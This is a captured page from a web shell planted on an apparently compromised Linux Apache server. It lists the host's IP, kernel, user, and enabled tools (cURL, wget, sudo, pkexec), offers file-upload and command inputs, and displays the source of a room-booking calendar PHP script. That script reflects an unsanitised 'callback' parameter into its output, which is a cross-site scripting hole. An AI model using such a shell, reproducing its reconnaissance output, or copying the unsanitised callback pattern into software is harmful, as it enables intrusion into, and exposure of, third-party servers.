403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/room/room/assets/fullcalendar-3.6.2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/room/room/assets/fullcalendar-3.6.2/data_events-3.6.2.php
<?php
include '../../connect.php';
$data = array();
$query = "SELECT * FROM tb_event AS t1 
LEFT JOIN tb_division AS t2 
ON t1.division = t2.id_division 
LEFT JOIN tb_style AS t3
ON t1.style = t3.id_style 
LEFT JOIN tb_rooms AS t4
ON t1.rooms = t4.id_rooms WHERE status = 1";
$query2 = "SELECT * FROM tb_equipment";
$result2 = $conn->query($query2);
$arr = array();
while ($rs = $result2->fetch_array()) {
    $arr[$rs['id_equipment']]= $rs['name_equipment'];
}
//$arr = array("0"=>"","1"=>"โน๊ตบุ๊ค","2"=>"ไมค์ลอย","3"=>"ไมค์คอนเฟอร์เรน",..........");  ผลลัพธ์
/*$query2 = "SELECT * FROM tb_equipment";   แบบที่ 2
$result2 = $conn->query($query2);
$arr = array();
while ($rs = $result2->fetch_array()) {
    $arr[$rs['id_equipment']]= $rs['name_equipment'];
}
function listeq($num){    
global $arr;
	$arr = $arr;
	$watch_return = $arr[$num]; 
  return $watch_return;
}
$var = $obj->equipment;
$arrayex = explode(',', $var);
foreach ($arrayex as $value) {
  $equip .= listeq($value).' ';
}
echo $equip;*/

if ($result = $conn->query($query)) {	
    /* fetch object array */
    while ($obj = $result->fetch_object()) {

       $data[] = array(
                    'id' => $obj->id,
                    'title'=> $obj->title,
                    'start'=> $obj->start,
                    'end'=> $obj->end,
                    'color'=> $obj->color,
                    'division'=> $obj->name_division,
                    'people'=> $obj->people,
                    'style'=> $obj->name_style,
                    'equipment'=> strtr($obj->equipment,$arr),
					'member'=> $obj->member,
					'rooms'=> $obj->name_rooms,
					'etc'=> $obj->etc,
                    );
    }

    /* free result set */
    $result->close();
}
$conn->close();

$data=(isset($data))?$data:NULL;
$json= json_encode($data);  
if(isset($_GET['callback']) && $_GET['callback']!=""){  
echo $_GET['callback']."(".$json.");";      
}else{  
echo $json;  
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit